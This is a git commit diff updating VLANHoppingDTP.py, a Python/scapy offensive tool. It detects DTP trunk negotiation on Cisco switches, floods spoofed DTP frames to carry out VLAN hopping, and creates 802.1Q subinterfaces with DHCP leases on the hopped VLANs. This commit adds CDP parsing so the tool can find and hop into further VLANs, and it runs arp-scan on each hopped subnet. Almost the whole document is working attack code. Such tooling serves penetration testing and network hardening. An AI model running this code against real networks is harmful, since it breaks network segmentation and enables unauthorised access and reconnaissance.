Improved VLANHoppingDTP.py to cover up CDP packets and their associated VLAN information, as well as to launch arp-scan upon hopping.

This commit is contained in:
Mariusz B 2018-02-07 14:58:02 +01:00
parent ce29ec0e39
commit d6c64c929d

View File

@ -3,12 +3,18 @@
#
# This script is performing DTP Trunk mode detection and VLAN Hopping
# attack automatically, running sniffer afterwards to collect any other
# VLAN available. To be launched only in Unix/Linux environment as the
# script utilizes following applications:
# VLAN available.
#
# To be launched only in Unix/Linux environment as the script utilizes
# following applications:
# - 8021q.ko
# - vconfig
# - ifconfig / ip / route
# - dhclient
# - (optional) arp-scan
#
# Python requirements:
# - scapy
#
# NOTICE:
# This program uses code written by 'floodlight', which comes from here:
@ -16,15 +22,19 @@
#
# TODO:
# - Add logic that falls back to static IP address setup when DHCP fails
# - Possibly implement custom ARP/ICMP/DHCP spoofers
# - Possibly implement custom ARP/ICMP/DHCP spoofers or launch ettercap
# - Add auto-packets capture functionality via tshark/tcpdump to specified out directory
# - Add functionality to auto-scan via arp-scan desired network
#
# Mariusz B. / mgeeky, '18
# Mariusz B. / mgeeky, '18, <mb@binary-offensive.com>
#
import os
import re
import sys
import socket
import struct
import textwrap
import argparse
import tempfile
import commands
@ -41,7 +51,7 @@ except ImportError:
sys.exit(1)
VERSION = '0.3'
VERSION = '0.4'
config = {
'verbose' : False,
@ -58,12 +68,16 @@ config = {
'exitcommands' : [],
}
arpScanAvailable = False
stopThreads = False
attackEngaged = False
dot1qSnifferStarted = False
vlansHijacked = set()
vlansDiscovered = set()
vlansHopped = set()
vlansLeases = {}
subinterfaces = set()
cdpsCollected = set()
tempfiles = []
@ -233,6 +247,10 @@ def inspectPacket(dtp):
Logger.ok('DTP enabled, Switchport in Dynamic Auto configuration')
print('[+] VLAN Hopping is possible.')
elif stat == 0x83:
Logger.ok('DTP enabled, Switchport in Trunk/Desirable configuration')
print('[+] VLAN Hopping is possible.')
elif stat == 0x81:
Logger.ok('DTP enabled, Switchport in Trunk configuration')
print('[+] VLAN Hopping IS possible.')
@ -244,9 +262,13 @@ def inspectPacket(dtp):
elif stat == 0x42:
Logger.info('DTP enabled, Switchport in Trunk with ISL encapsulation forced configuration')
print('[?] VLAN Hopping may be possible.')
else:
Logger.info('Unknown DTP packet.')
Logger.dbg(dtp.show())
ret = False
if ret:
print('[>] After Hopping to other VLANs - leave this program running to maintain connections.')
print('\n[>] After Hopping to other VLANs - leave this program running to maintain connections.')
return ret
@ -284,7 +306,7 @@ def engageDot1qSniffer():
dot1qSnifferStarted = True
Logger.info('Starting VLAN/802.1Q sniffer.')
#Logger.info('Started VLAN/802.1Q sniffer.')
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
sock.bind((config['interface'], ETH_P_ALL))
@ -298,9 +320,9 @@ def engageDot1qSniffer():
if pkt.haslayer(Dot1Q):
dot1q = pkt.vlan
if dot1q not in vlansHijacked:
if dot1q not in vlansDiscovered:
print('==> VLAN discovered: {}'.format(dot1q))
vlansHijacked.add(dot1q)
vlansDiscovered.add(dot1q)
if not config['analyse']:
t = threading.Thread(target = addVlanIface, args = (dot1q, ))
@ -325,8 +347,8 @@ def processDtps(dtps):
break
if success:
Logger.ok('VLAN Hopping via Switch Spoofing may be possible.')
Logger.ok('Flooding with fake Access/Desirable DTP frames...\n')
#Logger.ok('VLAN Hopping via Switch Spoofing may be possible.')
Logger.dbg('Flooding with fake Access/Desirable DTP frames...\n')
t = threading.Thread(target = floodTrunkingRequests)
t.daemon = True
@ -349,7 +371,7 @@ def processDtps(dtps):
if attackEngaged:
engageDot1qSniffer()
def launchCommand(subif, cmd):
def launchCommand(subif, cmd, forceOut = False, noCmd = False):
# following placeholders in command:
# $GW (gateway),
# $MASK (full mask),
@ -362,17 +384,28 @@ def launchCommand(subif, cmd):
if '%NET' in cmd: cmd = cmd.replace('%NET', shell("route -n | grep " + subif + " | grep -v UG | awk '{print $1}' | head -1"))
if '%MASK' in cmd: cmd = cmd.replace('%MASK', shell("route -n | grep " + subif + " | grep -v UG | awk '{print $3}' | head -1"))
if '%GW' in cmd: cmd = cmd.replace('%GW', shell("route -n | grep " + subif + " | grep UG | awk '{print $2}' | head -1"))
if '%CIDR' in cmd: cmd = cmd.replace('%CIDR', '/' + shell("ip addr show " + subif + " | grep inet | awk '{print $2}' | cut -d/ -f2"))
if '%CIDR' in cmd: cmd = cmd.replace('%CIDR', '/' + shell("ip addr show " + subif + " | grep 'inet ' | awk '{print $2}' | cut -d/ -f2"))
print('[>] Launching command: "{}"'.format(cmd))
shell(cmd)
cmd = cmd.strip()
def launchCommands(subif, commands):
if not noCmd:
print('[>] Launching command: "{}"'.format(cmd))
out = shell(cmd)
if forceOut:
print('\n' + '.' * 50)
print(out)
print('.' * 50 + '\n')
else:
Logger.info(out)
def launchCommands(subif, commands, forceOut = False, noCmd = False):
for cmd in commands:
launchCommand(subif, cmd)
launchCommand(subif, cmd, forceOut, noCmd)
def addVlanIface(vlan):
global subinterfaces
global vlansLeases
global tempfiles
subif = '{}.{}'.format(config['interface'], vlan)
@ -381,7 +414,7 @@ def addVlanIface(vlan):
Logger.fail('Already created that subinterface: {}'.format(subif))
return
Logger.info('Creating new VLAN Subinterface for {}.'.format(vlan))
Logger.dbg('Creating new VLAN Subinterface for {}.'.format(vlan))
out = shell('vconfig add {} {}'.format(
config['interface'], vlan
@ -399,7 +432,7 @@ def addVlanIface(vlan):
Logger.dbg('So far so good, subinterface {} added.'.format(subif))
ret = False
for attempt in range(3):
for attempt in range(2):
Logger.dbg('Acquiring DHCP lease for {}'.format(subif))
shell('dhclient -lf {} -pf {} -r {}'.format(dbFile, pidFile, subif))
@ -415,39 +448,149 @@ def addVlanIface(vlan):
ip = getIfaceIP(subif)
if ip:
Logger.dbg('Subinterface has IP: {}'.format(ip))
Logger.dbg('Subinterface obtained IP: {}'.format(ip))
ret = True
print('[+] Hopped to VLAN {}.: {}'.format(vlan, ip))
vlansHopped.add(vlan)
vlansLeases[vlan] = (
ip,
shell("route -n | grep " + subif + " | grep -v UG | awk '{print $1}' | head -1"),
shell("ip addr show " + subif + " | grep 'inet ' | awk '{print $2}' | cut -d/ -f2")
)
print('[+] Hopped to VLAN {}.: {}, subnet: {}/{}'.format(
vlan,
vlansLeases[vlan][0],
vlansLeases[vlan][1],
vlansLeases[vlan][2]
))
launchCommands(subif, config['commands'])
if arpScanAvailable:
Logger.info('ARP Scanning connected subnet.')
print('[>] Other hosts in hopped subnet: ')
launchCommand(subif, "arp-scan -x -g --vlan={} -I %IFACE %NET%CIDR".format(vlan), True, True)
break
else:
Logger.dbg('Subinterface {} did not receive DHCPOFFER.'.format(
subif
))
time.sleep(5)
if not ret:
Logger.fail('Could not acquire DHCP lease for: {}'.format(subif))
Logger.fail('Skipping...')
Logger.fail('Could not acquire DHCP lease for: {}. Skipping.'.format(subif))
else:
Logger.fail('Failed.: "{}"'.format(out))
def addVlansFromCdp(vlans):
while not attackEngaged:
time.sleep(3)
if stopThreads:
return
for vlan in vlans:
Logger.info('Trying to hop to VLAN discovered in CDP packet: {}'.format(
vlan
))
t = threading.Thread(target = addVlanIface, args = (vlan, ))
t.daemon = True
t.start()
vlansDiscovered.add(vlan)
def processCdp(pkt):
global cdpsCollected
global vlansDiscovered
if not Dot3 in pkt or not pkt.dst == '01:00:0c:cc:cc:cc':
return
if not hasattr(pkt, 'msg'):
return
tlvs = {
1: 'Device Hostname',
2: 'Addresses',
3: 'Port ID',
4: 'Capabilities',
5: 'Software Version',
6: 'Software Platform',
9: 'VTP Management Domain',
10:'Native VLAN',
14:'VoIP VLAN',
22:'Management Address',
}
vlans = set()
out = ''
for tlv in pkt.msg:
if tlv.type in tlvs.keys():
fmt = ''
key = ' {}:'.format(tlvs[tlv.type])
key = key.ljust(25)
if hasattr(tlv, 'val'): fmt = tlv.val
elif hasattr(tlv, 'iface'): fmt = tlv.iface
elif hasattr(tlv, 'cap'):
caps = []
if tlv.cap & (2**0) != 0: caps.append("Router")
if tlv.cap & (2**1) != 0: caps.append("TransparentBridge")
if tlv.cap & (2**2) != 0: caps.append("SourceRouteBridge")
if tlv.cap & (2**3) != 0: caps.append("Switch")
if tlv.cap & (2**4) != 0: caps.append("Host")
if tlv.cap & (2**5) != 0: caps.append("IGMPCapable")
if tlv.cap & (2**6) != 0: caps.append("Repeater")
fmt = '+'.join(caps)
elif hasattr(tlv, 'vlan'):
fmt = str(tlv.vlan)
vlans.add(tlv.vlan)
elif hasattr(tlv, 'addr'):
for i in range(tlv.naddr):
addr = tlv.addr[i].addr
fmt += '{}, '.format(addr)
wrapper = textwrap.TextWrapper(
initial_indent = key,
width = 80,
subsequent_indent = ' ' * len(key)
)
out += '{}\n'.format(wrapper.fill(fmt))
out = re.sub(r'(?:\n)+', '\n', out)
if not out in cdpsCollected:
cdpsCollected.add(out)
print('\n[+] Discovered new CDP aware device:\n{}'.format(out))
if not config['analyse']:
t = threading.Thread(target = addVlansFromCdp, args = (vlans, ))
t.daemon = True
t.start()
else:
Logger.info('Analysis mode: Did not go any further.')
def packetCallback(pkt):
Logger.dbg('RECV: ' + pkt.summary())
def sniffThread():
global vlansHijacked
if Dot3 in pkt and pkt.dst == '01:00:0c:cc:cc:cc':
processCdp(pkt)
def sniffThread():
global vlansDiscovered
warnOnce = False
Logger.info('Sniffing for DTP frames (Max count: {}, Max timeout: {} seconds)...'.format(
Logger.info('Sniffing for CDP/DTP frames (Max count: {}, Max timeout: {} seconds)...'.format(
config['count'], config['timeout']
))
while not stopThreads and not attackEngaged:
dtps = []
try:
dtps = sniff(
count = config['count'],
filter = 'ether[20:2] == 0x2004',
filter = 'ether[20:2] == 0x2004 or ether[20:2] == 0x2000',
timeout = config['timeout'],
prn = packetCallback,
stop_filter = lambda x: x.haslayer(DTP) or stopThreads,
@ -462,12 +605,12 @@ def sniffThread():
Logger.fail('It seems like there was no DTP frames transmitted.')
Logger.fail('VLAN Hopping may not be possible (unless Switch is in Non-negotiate state):')
Logger.info('\tSWITCH(config-if)# switchport nonnegotiate\t/ or / ')
Logger.info('\tSWITCH(config-if)# switchport mode access')
Logger.info('\tSWITCH(config-if)# switchport mode access\n')
warnOnce = True
if len(dtps) > 0 or config['force']:
if len(dtps) > 0:
Logger.info('Got {} DTP frames.\n'.format(
Logger.dbg('Got {} DTP frames.\n'.format(
len(dtps)
))
else:
@ -485,13 +628,13 @@ def getHwAddr(ifname):
return ':'.join(['%02x' % ord(char) for char in info[18:24]])
def getIfaceIP(iface):
out = shell("ip addr show " + iface + " | grep inet | awk '{print $2}' | head -1 | cut -d/ -f1")
out = shell("ip addr show " + iface + " | grep 'inet ' | awk '{print $2}' | head -1 | cut -d/ -f1")
Logger.dbg('Interface: {} has IP: {}'.format(iface, out))
return out
def changeMacAddress(iface, mac):
old = getHwAddr(iface)
Logger.dbg('Changing MAC address of interface {}, from: {} to: {}'.format(
print('[>] Changing MAC address of interface {}, from: {} to: {}'.format(
iface, old, mac
))
shell('ifconfig {} down'.format(iface))
@ -559,7 +702,7 @@ def parseOptions(argv):
print('''
:: VLAN Hopping via DTP Trunk negotiation
Performs VLAN Hopping via negotiated DTP Trunk / Switch Spoofing technique
Mariusz B. / mgeeky, '18
Mariusz B. / mgeeky '18, <mb@binary-offensive.com>
v{}
'''.format(VERSION))
@ -568,6 +711,7 @@ def parseOptions(argv):
parser.add_argument('-e', '--execute', dest='command', metavar='CMD', default=[], action='append', help='Launch specified command after hopping to new VLAN. One can use one of following placeholders in command: %%IFACE (choosen interface), %%IP (acquired IP), %%NET (net address), %%HWADDR (MAC), %%GW (gateway), %%MASK (full mask), %%CIDR (short mask). For instance: -e "arp-scan -I %%IFACE %%NET%%CIDR". May be repeated for more commands. The command will be launched SYNCHRONOUSLY, meaning - one have to append "&" at the end to make the script go along.')
parser.add_argument('-E', '--exit-execute', dest='exitcommand', metavar='CMD', default=[], action='append', help='Launch specified command at the end of this script (during cleanup phase).')
parser.add_argument('-m', '--mac-address', metavar='HWADDR', dest='mac', default='', help='Changes MAC address of the interface before and after attack.')
#parser.add_argument('-O', '--outdir', metavar='DIR', dest='outdir', default='', help='If set, enables packet capture on interface connected to VLAN Hopped network and stores in specified output directory *.pcap files.')
parser.add_argument('-f', '--force', action='store_true', help='Attempt VLAN Hopping even if DTP was not detected (like in Nonegotiate situation).')
parser.add_argument('-a', '--analyse', action='store_true', help='Analyse mode: do not create subinterfaces, don\'t ask for DHCP leases.')
parser.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.')
@ -588,9 +732,44 @@ def parseOptions(argv):
return args
def printStats():
print('\n' + '-' * 80)
print('\tSTATISTICS\n')
print('[VLANS HOPPED]')
if len(vlansHopped):
print('Successfully hopped (and got DHCP lease) to following VLANs ({}):'.format(
len(vlansHopped)
))
for vlan, net in vlansLeases.items():
print('- VLAN {}: {}, subnet: {}/{}'.format(vlan, net[0], net[1], net[2] ))
else:
print('Did not hop into any VLAN.')
print('\n[VLANS DISCOVERED]')
if len(vlansDiscovered):
print('Discovered following VLANs ({}):'.format(
len(vlansDiscovered)
))
for vlan in vlansDiscovered:
print('- VLAN {}'.format(vlan))
else:
print('No VLANs discovered.')
print('\n[CDP DEVICES]')
if len(cdpsCollected):
print('Discovered following CDP aware devices ({}):'.format(
len(cdpsCollected)
))
for dev in cdpsCollected:
print(dev + '\n')
else:
print('No CDP aware devices discovered.')
def main(argv):
global config
global stopThreads
global arpScanAvailable
opts = parseOptions(argv)
if not opts:
@ -602,6 +781,7 @@ def main(argv):
return False
load_contrib('dtp')
load_contrib('cdp')
if not assure8021qCapabilities():
Logger.err('Unable to proceed.')
@ -638,6 +818,11 @@ def main(argv):
Logger.err('Could not change interface\'s MAC address!')
return False
if shell("which arp-scan") != '':
arpScanAvailable = True
else:
Logger.err('arp-scan not available: will not perform scanning after hopping.')
t = threading.Thread(target = sniffThread)
t.daemon = True
t.start()
@ -652,6 +837,8 @@ def main(argv):
time.sleep(3)
cleanup()
printStats()
return True
if __name__ == '__main__':